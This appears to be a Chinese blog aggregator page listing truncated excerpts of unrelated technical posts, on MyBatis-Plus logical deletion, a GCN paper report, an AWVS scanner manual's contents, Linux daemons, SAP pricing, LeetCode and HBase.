文章目录 什么是逻辑删除&#xff1f;为什么用到逻辑删除&#xff1f;在springboot使用Mybatis-Plus提供的逻辑删除1、在application.yml配置2、 实体类字段上加上TableLogic注解演示 什么是逻辑删除&#xff1f; 逻辑删除的本质是修改操作&#xff0c;并不是真正的删除&#…

2023/5/28周报

目录 摘要 论文阅读 1、标题和现存问题 2、使用GNN进行文本分类 3、INDUCT-GCN 4、实验准备 5、实验结果 深度学习 1、时空图的种类 2、图在环境中的应用 3、STGNN 总结 摘要 本周在论文阅读上&#xff0c;阅读了一篇InducT-GCN:归纳图卷积文本分类网络的论文。基…

AWVS使用手册

目录 AWVS基本操作 AWVS工具介绍 AWVS界面介绍 AWVS主要操作区域简介 AWVS的功能及特点的功能及特点 AWVS的菜单栏&#xff0c;工具栏简介 AWVS基本功能介绍 AWVS的蜘蛛爬虫功能 AWVS目标目标探测工具 AWVS的子域名探测工具 AWVS的的HTTP嗅探工具 AWVS的的HTTP模糊…

排序算法的时间复杂度、空间复杂度对比总结

参考&#xff1a;八大排序算法的稳定性和时间复杂度

【linux】守护进程(精灵进程)

文章目录 一、TCP服务器日志二、守护进程预备知识2.1 守护进程概念2.2 前台任务和后台任务2.3 进程组与组长ID2.4 前台进程后台进程的切换2.5 自成会话 三、实现守护进程3.1 自建会话setsid3.2 守护进程的条件3.3 代码实现 一、TCP服务器日志 上一章我们写了一个TCP网络服务器…

SAP-MM-计算方案字段解析

01、 “步骤”&#xff1a;标识此条件类型在计算方案中的顺序编号&#xff0c;此编号会影响到后续业务中条件类型的排序&#xff0c;不同条件类型之间的编号最好间隔大一些&#xff0c;这样设置便于以后对计算方案进行扩展&#xff1b; 02、 “计数器”&#xff1…

(哈希表 ) 349. 两个数组的交集 ——【Leetcode每日一题】

❓349. 两个数组的交集 难度&#xff1a;简单 给定两个数组 nums1 和 nums2 &#xff0c;返回 它们的交集 。输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。 示例 1&#xff1a; 输入&#xff1a;nums1 [1,2,2,1], nums2 [2,2] 输出&#xff1a;[…

Hbase学习笔记

1 HBase介绍 (1) HBase是什么 HBase是一个开源的非关系型分布式、实时数据库(Nosql)&#xff0c;运行于HDFS文件系统之上&#xff0c;因此key容错地存储海量稀疏的数据。 海量稀疏就是说不能保证每一个key它的列都有value。 关系型数据库&#xff1a;mysql、oracle 非关系…